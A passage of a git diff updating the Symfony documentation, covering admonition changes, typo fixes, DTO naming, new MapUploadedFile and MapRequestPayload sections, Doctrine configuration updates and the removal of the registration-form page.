        $ git fetch origin pull/<ID>/head:pr<ID>
@@ -175,7 +175,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 
    For example:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ git fetch origin pull/15723/head:pr15723
        $ git checkout pr15723
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index d933f3bcead..e81abe92b79 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -16,7 +16,7 @@ source code.
 If you want to learn more about this format, check out the `reStructuredText Primer`_
 tutorial and the `reStructuredText Reference`_.
 
-.. caution::
+.. warning::
 
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 4bc8a818bad..183910e6ac6 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -104,7 +104,7 @@ Fetch all the commits of the upstream branches by executing this command:
 
     $ git fetch upstream
 
-The purpose of this step is to allow you work simultaneously on the official
+The purpose of this step is to allow you to work simultaneously on the official
 Symfony repository and on your own fork. You'll see this in action in a moment.
 
 **Step 4.** Create a dedicated **new branch** for your changes. Use a short and
@@ -185,6 +185,9 @@ changes and push the new changes:
 
     $ git push
 
+It's rare, but you might be asked to rebase your pull request to target another
+Symfony branch. Read the :ref:`guide on rebasing pull requests <rebase-your-patch>`.
+
 **Step 10.** After your pull request is eventually accepted and merged in the
 Symfony documentation, you will be included in the `Symfony Documentation
 Contributors`_ list. Moreover, if you happen to have a `SymfonyConnect`_
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 420780d25f5..5e195d008fd 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -122,7 +122,7 @@ Example
         }
     }
 
-.. caution::
+.. warning::
 
     In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``),
     but this should not be done in Twig (e.g.  ``{'hello' : 'value'}``).
diff --git a/controller.rst b/controller.rst
index 48124c72c38..c11615d93aa 100644
--- a/controller.rst
+++ b/controller.rst
@@ -176,7 +176,8 @@ These are used for rendering templates, sending emails, querying the database an
 any other "work" you can think of.
 
 If you need a service in a controller, type-hint an argument with its class
-(or interface) name. Symfony will automatically pass you the service you need::
+(or interface) name and Symfony will inject it automatically. This requires
+your :doc:`controller to be registered as a service </controller/service>`::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;
@@ -371,7 +372,7 @@ attribute, arguments of your controller's action can be automatically fulfilled:
     // ...
 
     public function dashboard(
-        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName,
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w+$/'])] string $firstName,
         #[MapQueryParameter] string $lastName,
         #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age,
     ): Response
@@ -392,7 +393,7 @@ optional validation constraints::
 
     use Symfony\Component\Validator\Constraints as Assert;
 
-    class UserDTO
+    class UserDto
     {
         public function __construct(
             #[Assert\NotBlank]
@@ -417,7 +418,7 @@ attribute in your controller::
     // ...
 
     public function dashboard(
-        #[MapQueryString] UserDTO $userDto
+        #[MapQueryString] UserDto $userDto
     ): Response
     {
         // ...
@@ -434,7 +435,7 @@ HTTP status to return if the validation fails::
         #[MapQueryString(
             validationGroups: ['strict', 'edit'],
             validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -442,6 +443,22 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If you need a valid DTO even when the request query string is empty, set a
+default value for your controller arguments::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString] UserDto $userDto = new UserDto()
+    ): Response
+    {
+        // ...
+    }
+
 .. _controller-mapping-request-payload:
 
 Mapping Request Payload
@@ -470,7 +487,7 @@ attribute::
     // ...
 
     public function dashboard(
-        #[MapRequestPayload] UserDTO $userDto
+        #[MapRequestPayload] UserDto $userDto
     ): Response
     {
         // ...
@@ -485,7 +502,7 @@ your DTO::
             serializationContext: ['...'],
             resolver: App\Resolver\UserDtoResolver
         )]
-        UserDTO $userDto
+        UserDto $userDto
     ): Response
     {
         // ...
@@ -503,7 +520,7 @@ the validation fails as well as supported payload formats::
             acceptFormat: 'json',
             validationGroups: ['strict', 'read'],
             validationFailedStatusCode: Response::HTTP_NOT_FOUND
-        )] UserDTO $userDto
+        )] UserDto $userDto
     ): Response
     {
         // ...
@@ -523,22 +540,154 @@ Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 
     public function dashboard(
-        #[MapRequestPayload()] EmployeesDTO $employeesDto
+        #[MapRequestPayload] EmployeesDto $employeesDto
     ): Response
     {
         // ...
     }
 
-    final class EmployeesDTO
+    final class EmployeesDto
     {
         /**
-         * @param UserDTO[] $users
+         * @param UserDto[] $users
          */
         public function __construct(
             public readonly array $users = []
         ) {}
     }
 
+Instead of returning an array of DTO objects, you can tell Symfony to transform
+each DTO object into an array and return something like this:
+
+.. code-block:: json
+
+    [
+        {
+            "firstName": "John",
+            "lastName": "Smith",
+            "age": 28
+        },
+        {
+            "firstName": "Jane",
+            "lastName": "Doe",
+            "age": 30
+        }
+    ]
+
+To do so, map the parameter as an array and configure the type of each element
+using the ``type`` option of the attribute::
+
+    public function dashboard(
+        #[MapRequestPayload(type: UserDto::class)] array $users
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 7.1
+
+    The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1.
+
+.. _controller_map-uploaded-file:
+
+Mapping Uploaded Files
+~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony provides an attribute called ``#[MapUploadedFile]`` to map one or more
+``UploadedFile`` objects to controller arguments::
+
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+
+    class UserController extends AbstractController
+    {
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile] UploadedFile $picture,
+        ): Response {
+            // ...
+        }
+    }
+
+In this example, the associated :doc:`argument resolver <controller/value_resolver>`
+fetches the ``UploadedFile`` based on the argument name (``$picture``). If no file
+is submitted, an ``HttpException`` is thrown. You can change this by making the
+controller argument nullable:
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    ?UploadedFile $document
+
+The ``#[MapUploadedFile]`` attribute also allows to pass a list of constraints
+to apply to the uploaded file::
+
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class UserController extends AbstractController
+    {
+        #[Route('/user/picture', methods: ['PUT'])]
+        public function changePicture(
+            #[MapUploadedFile([
+                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
+                new Assert\Image(maxWidth: 3840, maxHeight: 2160),
+            ])]
+            UploadedFile $picture,
+        ): Response {
+            // ...
+        }
+    }
+
+The validation constraints are checked before injecting the ``UploadedFile`` into
+the controller argument. If there's a constraint violation, an ``HttpException``
+is thrown and the controller's action is not executed.
+
+If you need to upload a collection of files, map them to an array or a variadic
+argument. The given constraint will be applied to all files and if any of them
+fails, an ``HttpException`` is thrown:
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    array $documents
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    UploadedFile ...$documents
+
+Use the ``name`` option to rename the uploaded file to a custom value:
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(name: 'something-else')]
+    UploadedFile $document
+
+In addition, you can change the status code of the HTTP exception thrown when
+there are constraint violations:
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(
+        constraints: new Assert\File(maxSize: '2M'),
+        validationFailedStatusCode: Response::HTTP_REQUEST_ENTITY_TOO_LARGE
+    )]
+    UploadedFile $document
+
+.. versionadded:: 7.1
+
+    The ``#[MapUploadedFile]`` attribute was introduced in Symfony 7.1.
+
 Managing the Session
 --------------------
 
@@ -639,6 +788,14 @@ response types.  Some of these are mentioned below. To learn more about the
 ``Request`` and ``Response`` (and different ``Response`` classes), see the
 :ref:`HttpFoundation component documentation <component-http-foundation-request>`.
 
+.. note::
+
+    Technically, a controller can return a value other than a ``Response``.
+    However, your application is responsible for transforming that value into a
+    ``Response`` object. This is handled using :doc:`events </event_dispatcher>`
+    (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`),
+    an advanced feature you'll learn about later.
+
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -741,7 +898,7 @@ method::
         {
             $response = $this->sendEarlyHints([
                 new Link(rel: 'preconnect', href: 'https://fonts.google.com'),
-                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/style.css'))->withAttribute('as', 'style'),
                 (new Link(href: '/script.js'))->withAttribute('as', 'script'),
             ]);
 
@@ -797,6 +954,6 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
-.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 52dff49731f..fc36b88779a 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -216,7 +216,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, string $format = null, array $context = []): array
+        public function normalize($exception, ?string $format = null, array $context = []): array
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -227,7 +227,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = []): bool
+        public function supportsNormalization($data, ?string $format = null, array $context = []): bool
         {
             return $data instanceof FlattenException;
         }
@@ -319,7 +319,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setThrowable()`` on the
+    If your listener calls ``setResponse()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index a0e0648517a..8d8be859da5 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -11,7 +11,7 @@ and calls the defined controller. The ``forward()`` method returns the
 :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned
 from *that* controller::
 
-    public function index($name): Response
+    public function index(string $name): Response
     {
         $response = $this->forward('App\Controller\OtherController::fancy', [
             'name'  => $name,
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index ec477002cb4..b3dc2d6ffd0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -120,6 +120,7 @@ Finally, you need to update the code of the controller that handles the form::
     use App\Entity\Product;
     use App\Form\ProductType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
@@ -130,7 +131,11 @@ Finally, you need to update the code of the controller that handles the form::
     class ProductController extends AbstractController
     {
         #[Route('/product/new', name: 'app_product_new')]
-        public function new(Request $request, SluggerInterface $slugger): Response
+        public function new(
+            Request $request,
+            SluggerInterface $slugger,
+            #[Autowire('%kernel.project_dir%/public/uploads/brochures')] string $brochuresDirectory
+        ): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -150,10 +155,7 @@ Finally, you need to update the code of the controller that handles the form::
 
                     // Move the file to the directory where brochures are stored
                     try {
-                        $brochureFile->move(
-                            $this->getParameter('brochures_directory'),
-                            $newFilename
-                        );
+                        $brochureFile->move($brochuresDirectory, $newFilename);
                     } catch (FileException $e) {
                         // ... handle exception if something happens during file upload
                     }
@@ -174,17 +176,6 @@ Finally, you need to update the code of the controller that handles the form::
         }
     }
 
-Now, create the ``brochures_directory`` parameter that was used in the
-controller to specify the directory in which the brochures should be stored:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-
-    # ...
-    parameters:
-        brochures_directory: '%kernel.project_dir%/public/uploads/brochures'
-
 There are some important things to consider in the code of the above controller:
 
 #. In Symfony applications, uploaded files are objects of the
@@ -230,7 +221,7 @@ You can use the following code to link to the PDF brochure of a product:
         // ...
 
         $product->setBrochureFilename(
-            new File($this->getParameter('brochures_directory').'/'.$product->getBrochureFilename())
+            new File($brochuresDirectory.DIRECTORY_SEPARATOR.$product->getBrochureFilename())
         );
 
 Creating an Uploader Service
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 5f0f7484e46..dbbea7bcc87 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -98,7 +98,7 @@ Symfony ships with the following value resolvers in the
     .. tip::
 
         The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
-        This. gives your full control over the date and time values the controller
+        This gives you full control over the date and time values the controller
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 66bc1b51d0d..219119164b4 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -255,7 +255,7 @@ code in production without a proxy, it becomes trivially easy to abuse your
 system. That's not the case with the ``getClientIp()`` method as you must
 explicitly trust your reverse proxies by calling ``setTrustedProxies()``::
 
-    Request::setTrustedProxies(['10.0.0.1']);
+    Request::setTrustedProxies(['10.0.0.1'], Request::HEADER_X_FORWARDED_FOR);
 
     if ($myIp === $request->getClientIp()) {
         // the client is a known one, so give it some more privilege
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index d3574de4c94..7a1e6b2ad50 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -29,7 +29,7 @@ a few good reasons to start creating your own framework:
 * To refactor an old/existing application that needs a good dose of recent web
   development best practices;
 
-* To prove the world that you can actually create a framework on your own (...
+* To prove to the world that you can actually create a framework on your own (...
   but with little effort).
 
 This tutorial will gently guide you through the creation of a web framework,
diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index e0937fbdf45..5238b3aac42 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too::
 
     class LeapYear
     {
-        public function isLeapYear(int $year = null): bool
+        public function isLeapYear(?int $year = null): bool
         {
             if (null === $year) {
                 $year = date('Y');
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 07d7e38417c..282e75cbc94 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -146,7 +146,7 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year(int $year = null): bool
+    function is_leap_year(?int $year = null): bool
     {
         if (null === $year) {
             $year = (int)date('Y');
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 5c783c5279a..32c97a03846 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit
+    $ composer require --dev phpunit/phpunit:^9.6
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
diff --git a/deployment.rst b/deployment.rst
index 3edbc34dd6b..864ebc7a963 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -184,7 +184,7 @@ as you normally do:
     significantly by building a "class map". The ``--no-dev`` flag ensures that
     development packages are not installed in the production environment.
 
-.. caution::
+.. warning::
 
     If you get a "class not found" error during this step, you may need to
     run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index d732d5e64cf..81fd474951b 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -93,7 +93,7 @@ and what headers your reverse proxy uses to send information:
     ``private_ranges`` as a shortcut for private IP address ranges for the
     ``trusted_proxies`` option was introduced in Symfony 7.1.
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
@@ -167,7 +167,7 @@ subpath/subfolder of the reverse proxy.
 To fix this, you need to pass the subpath/subfolder route prefix of the reverse
 proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
 normally be configured in your reverse proxy configuration. Configure
-``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+``X-Forwarded-Prefix`` as trusted header to be able to use this feature.
 
 The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
 objects, which is used to generate absolute paths and URLs in Symfony applications.
diff --git a/doctrine.rst b/doctrine.rst
index 80df89c129d..171f8a3348a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -41,7 +41,7 @@ The database connection information is stored as an environment variable called
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
     # to use mariadb:
     # Before doctrine/dbal < 3.7
@@ -53,15 +53,15 @@ The database connection information is stored as an environment variable called
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
 
     # to use postgresql:
-    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
+    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=12.19 (Debian 12.19-1.pgdg120+1)&charset=utf8"
 
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
-.. caution::
+.. warning::
 
     If the username, password, host or database name contain any character considered
-    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
+    special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
     you must encode them. See `RFC 3986`_ for the full list of reserved characters.
     You can use the :phpfunction:`urlencode` function to encode them or
     the :ref:`urlencode environment variable processor <urlencode_environment_variable_processor>`.
@@ -76,7 +76,7 @@ database for you:
     $ php bin/console doctrine:database:create
 
 There are more options in ``config/packages/doctrine.yaml`` that you can configure,
-including your ``server_version`` (e.g. 5.7 if you're using MySQL 5.7), which may
+including your ``server_version`` (e.g. 8.0.37 if you're using MySQL 8.0.37), which may
 affect how Doctrine functions.
 
 .. tip::
@@ -84,6 +84,8 @@ affect how Doctrine functions.
     There are many other Doctrine commands. Run ``php bin/console list doctrine``
     to see a full list.
 
+.. _doctrine-adding-mapping:
+
 Creating an Entity Class
 ------------------------
 
@@ -91,8 +93,6 @@ Suppose you're building an application where products need to be displayed.
 Without even thinking about Doctrine or databases, you already know that
 you need a ``Product`` object to represent those products.
 
-.. _doctrine-adding-mapping:
-
 You can use the ``make:entity`` command to create this class and any fields you
 need. The command will ask you some questions - answer them like done below:
 
@@ -158,23 +158,23 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
-.. note::
+.. tip::
 
-    Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes.
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
 
 .. note::
 
-    Confused why the price is an integer? Don't worry: this is just an example.
-    But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
+    Starting in v1.44.0 - `MakerBundle`_: only supports entities using PHP attributes.
 
 .. note::
 
-    If you are using an SQLite database, you'll see the following error:
-    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
-    column with default value NULL*. Add a ``nullable=true`` option to the
-    ``description`` property to fix the problem.
+    Confused why the price is an integer? Don't worry: this is just an example.
+    But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
 
-.. caution::
+.. warning::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
     InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255
@@ -204,7 +204,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
-.. caution::
+.. warning::
 
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
@@ -226,6 +226,11 @@ already installed:
 
     $ php bin/console make:migration
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 If everything worked, you should see something like this:
 
 .. code-block:: text
@@ -315,6 +320,13 @@ before, execute your migrations:
 
     $ php bin/console doctrine:migrations:migrate
 
+.. warning::
+
+    If you are using an SQLite database, you'll see the following error:
+    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
+    column with default value NULL*. Add a ``nullable=true`` option to the
+    ``description`` property to fix the problem.
+
 This will only execute the *one* new migration file, because DoctrineMigrationsBundle
 knows that the first migration was already executed earlier. Behind the scenes, it
 manages a ``migration_versions`` table to track this.
@@ -729,6 +741,20 @@ In the expression, the ``repository`` variable will be your entity's
 Repository class and any route wildcards - like ``{product_id}`` are
 available as variables.
 
+The repository method called in the expression can also return a list of entities.
+In that case, update the type of your controller argument::
+
+    #[Route('/posts_by/{author_id}')]
+    public function authorPosts(
+        #[MapEntity(class: Post::class, expr: 'repository.findBy({"author": author_id}, {}, 10)')]
+        iterable $posts
+    ): Response {
+    }
+
+.. versionadded:: 7.1
+
+    The mapping of the lists of entities was introduced in Symfony 7.1.
+
 This can also be used to help resolve multiple arguments::
 
     #[Route('/product/{id}/comments/{comment_id}')]
@@ -1077,12 +1103,10 @@ Learn more
 
     doctrine/associations
     doctrine/events
-    doctrine/registration_form
     doctrine/custom_dql_functions
     doctrine/dbal
     doctrine/multiple_entity_managers
     doctrine/resolve_target_entity
-    doctrine/reverse_engineering
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
@@ -1101,3 +1125,4 @@ Learn more
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index a9cc365d48f..8dd9aa7f36b 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -79,6 +79,13 @@ This will generate your new entity class::
         // ... getters and setters
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 Mapping the ManyToOne Relationship
 ----------------------------------
 
@@ -626,3 +633,4 @@ Doctrine's `Association Mapping Documentation`_.
 .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1b3aa4aa185..e5b21819f58 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows:
                             ->datetimeFunction('test_datetime', DatetimeFunction::class);
             };
 
-.. caution::
+.. warning::
 
     DQL functions are instantiated by Doctrine outside of the Symfony
     :doc:`service container </service_container>` so you can't inject services
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index a400cee0324..4f47b61eb61 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -32,7 +32,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 23373d827f4..dcd97126b7c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -391,9 +391,9 @@ listener in the Symfony application by creating a new service for it and
             ;
         };
 
-.. versionadded:: 2.7.2
+.. versionadded:: 2.8.0
 
-    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.8.0.
 
 .. tip::
 
@@ -404,4 +404,4 @@ listener in the Symfony application by creating a new service for it and
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
-.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php
+.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.12.x/src/Attribute/AsDoctrineListener.php
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 014d9e4dccb..1a56c55ddad 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf
     advanced and not usually required. Be sure you actually need multiple
     entity managers before adding in this layer of complexity.
 
-.. caution::
+.. warning::
 
     Entities cannot define associations across different entity managers. If you
     need that, there are `several alternatives`_ that require some custom setup.
@@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the
 entities in ``src/Entity/Customer``. You've also defined two connections, one
 for each entity manager, but you are free to define the same connection for both.
 
-.. caution::
+.. warning::
 
     When working with multiple connections and entity managers, you should be
     explicit about which configuration you want. If you *do* omit the name of
@@ -251,7 +251,7 @@ The same applies to repository calls::
         }
     }
 
-.. caution::
+.. warning::
 
     One entity can be managed by more than one entity manager. This however
     results in unexpected behavior when extending from ``ServiceEntityRepository``
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
deleted file mode 100644
index 7063b7157a4..00000000000
--- a/doctrine/registration_form.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Implement a Registration Form
-====================================
-
-This article has been removed because it only explained things that are
-already explained in other articles. Specifically, to implement a registration
-form you must:
-
-#. :ref:`Define a class to represent users <create-user-class>`;
-#. :doc:`Create a form </forms>` to ask for the registration information (you can
-   generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
-#. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-access-control>` so that
-   only registered users can access to them.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
